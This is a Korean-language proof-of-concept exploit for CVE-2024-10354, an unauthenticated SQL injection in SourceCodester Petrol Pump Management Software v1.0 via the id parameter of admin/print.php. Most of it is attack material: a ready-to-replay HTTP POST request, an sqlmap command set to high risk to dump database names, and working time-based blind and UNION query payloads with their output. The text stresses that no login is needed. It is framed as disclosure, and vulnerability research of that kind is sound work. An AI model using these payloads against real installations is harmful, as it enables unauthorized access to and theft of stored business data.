
CVE-2024-10354에 대한 개념 증명 익스플로잇: SourceCodester Petrol Pump Management Software v1.0의 SQL 인젝션. admin/print.php를 통해 인증되지 않은 시간 기반 블라인드 및 UNION 쿼리 인젝션을 시연하여 데이터베이스 내용을 추출합니다.
Petrol pump 관리 소프트웨어 무료 다운로드 | SourceCodester
sourcecodester Petrol pump management software v1.0에서 SQL Injection 취약점이 발견되었습니다. 이 취약점은 높은 위험도로 평가되며, admin\print.php 파일의 알려지지 않은 기능에 영향을 미칩니다. id 매개변수를 사용하여 악의적인 SQL 문을 구성하여 민감한 정보를 획득하여 피해를 초래합니다.
admin\print.php

여기서 사용자 입력 $_POST['id']가 SQL 쿼리 문에 직접 연결되어 있어 SQL 인젝션 공격에 취약합니다.

POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
패킷을 저장하고 sqlmap 공격을 사용합니다.
payload:
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs

---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
패킷을 보면 쿠키 값을 추가하지 않았으며, 이는 인증이 필요 없어 로그인하지 않고도 원격으로 공격을 시작할 수 있음을 나타냅니다.
이 페이로드는 시간 기반 블라인드와 UNION 쿼리 두 가지 인젝션 방법을 사용하며, 데이터베이스 이름을 성공적으로 추출함을 알 수 있습니다.